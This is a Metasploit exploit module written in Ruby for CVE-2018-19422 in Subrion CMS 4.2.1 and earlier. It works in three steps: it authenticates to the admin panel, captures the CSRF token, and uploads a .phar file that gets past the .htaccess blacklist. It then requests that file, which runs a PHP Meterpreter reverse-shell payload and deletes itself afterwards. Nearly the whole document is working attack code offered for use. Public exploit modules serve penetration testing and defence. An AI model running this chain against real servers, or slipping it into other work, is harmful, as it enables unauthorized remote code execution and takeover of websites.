##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::PhpEXE
  include Msf::Exploit::Remote::HttpClient

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Intelliants Subrion CMS 4.2.1 - Authenticated File Upload Bypass to RCE',
        'Description' => %q{
          This module exploits an authenticated file upload vulnerability in
          Subrion CMS versions 4.2.1 and lower. The vulnerability is caused by
          the .htaccess file not preventing the execution of .pht, .phar, and
          .xhtml files. Files with these extensions are not included in the
          .htaccess blacklist, hence these files can be uploaded and executed
          to achieve remote code execution. In this module, a .phar file with
          a randomized name is uploaded and executed to receive a Meterpreter
          session on the target, then deletes itself afterwards.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Hexife',             # Original discovery, PoC, and CVE submission
          'Fellipe Oliveira',   # ExploitDB author
          'Ismail E. Dawoodjee' # Metasploit module author
        ],
        'References' => [
          [ 'EDB', '49876' ],
          [ 'CVE', '2018-19422' ],
          [ 'URL', 'https://github.com/intelliants/subrion/issues/801' ],
          [ 'URL', 'https://github.com/intelliants/subrion/issues/840' ],
          [ 'URL', 'https://github.com/advisories/GHSA-73xj-v6gc-g5p5' ]
        ],
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2018-11-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80, true, 'Subrion CMS default port'),
        OptString.new('TARGETURI', [ true, 'Base path', '/' ]),
        OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'admin' ])
      ]
    )
  end

  def check
    uri = normalize_uri(target_uri.path, 'panel/') # requires a trailing forward slash
    print_status("Checking target web server for a response at: #{full_uri(uri)}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri
    })

    unless res
      return CheckCode::Unknown('Target did not respond to check request.')
    end

    unless res.code == 200 && res.body.downcase.include?('subrion')
      return CheckCode::Unknown('Target is not running Subrion CMS.')
    end

    print_good('Target is running Subrion CMS.')

    # Powered by <a href="https://subrion.org/" title="Subrion CMS">Subrion CMS v4.2.1</a><br>
    print_status('Checking Subrion CMS version...')
    version_number = res.body.to_s.scan(/Subrion\sCMS\sv([\d.]+)/).flatten.first

    unless version_number
      return CheckCode::Detected('Subrion CMS version cannot be determined.')
    end

    print_good("Target is running Subrion CMS Version #{version_number}.")

    if Rex::Version.new(version_number) <= Rex::Version.new('4.2.1')
      return CheckCode::Appears(
        'However, this version check does not guarantee that the target is vulnerable, ' \
        'since a fix for the vulnerability can easily be applied by a web admin.'
      )
    end

    return CheckCode::Safe
  end

  def login_and_get_csrf_token(username, password)
    print_status('Connecting to Subrion Admin Panel login page to obtain CSRF token...')

    # Session cookies need to be kept to preserve the CSRF token across multiple requests
    uri = normalize_uri(target_uri.path, 'panel/')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri,
      'keep_cookies' => true
    })

    unless res && res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Could not access the Subrion Admin Panel page.")
    end

    # <input type="hidden" name="__st" value="CA0S3w50vz1zRpdgZl98JAMVrimiXI63lKtxAwyi">
    %r{name="__st" value="(?<csrf_token>[\w+=/]+)">} =~ res.body
    fail_with(Failure::NotFound, "#{peer} - Failed to get CSRF token.") if csrf_token.nil?

    print_good("Successfully obtained CSRF token: #{csrf_token}")

    print_status(
      "Logging in to Subrion Admin Panel at: #{full_uri(uri)} " \
      "using credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}"
    )
    auth = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'keep_cookies' => true,
      'vars_post' => {
        '__st' => csrf_token,
        'username' => username,
        'password' => password
      }
    })

    unless auth && auth.code == 200
      fail_with(Failure::NoAccess, "#{peer} - Failed to log in, cannot access the Admin Panel page.")
    end

    %r{name="__st" value="(?<csrf_token_auth>[\w+=/]+)">} =~ auth.body
    unless csrf_token == csrf_token_auth && auth.body.downcase.include?('administrator')
      fail_with(Failure::NoAccess, "#{peer} - Failed to log in, invalid credentials.")
    end

    print_good('Successfully logged in as Administrator.')
    return csrf_token
  end

  def upload_and_execute_payload(csrf_token)
    print_status('Preparing payload...')

    # set `unlink_self: true` to delete the file after execution
    payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.phar"
    php_payload = get_write_exec_payload(unlink_self: true)

    data = Rex::MIME::Message.new
    data.add_part(Rex::Text.rand_text_alphanumeric(14), nil, nil, 'form-data; name="reqid"')
    data.add_part('upload', nil, nil, 'form-data; name="cmd"')
    data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
    data.add_part(csrf_token, nil, nil, 'form-data; name="__st"')
    data.add_part(
      "#{php_payload}\n",
      'application/octet-stream',
      nil,
      "form-data; name=\"upload[]\"; filename=\"#{payload_name}\""
    )
    data.add_part(Time.now.getutc.to_i.to_s, nil, nil, 'form-data; name="mtime[]"')

    print_status('Sending POST data...')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'panel', 'uploads', 'read.json'),
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    })

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload PHP payload.")
    end
    payload_uri = normalize_uri(target_uri.path, 'uploads', payload_name)

    print_good("Successfully uploaded payload at: #{full_uri(payload_uri)}")

    # This execution request returns nil
    print_status("Executing '#{payload_name}'... This file will be deleted after execution.")
    send_request_cgi({
      'method' => 'GET',
      'uri' => payload_uri,
      'keep_cookies' => true
    })

    print_good("Successfully executed payload: #{full_uri(payload_uri)}")
  end

  def exploit
    csrf_token = login_and_get_csrf_token(datastore['USERNAME'], datastore['PASSWORD'])
    upload_and_execute_payload(csrf_token)
  end

end
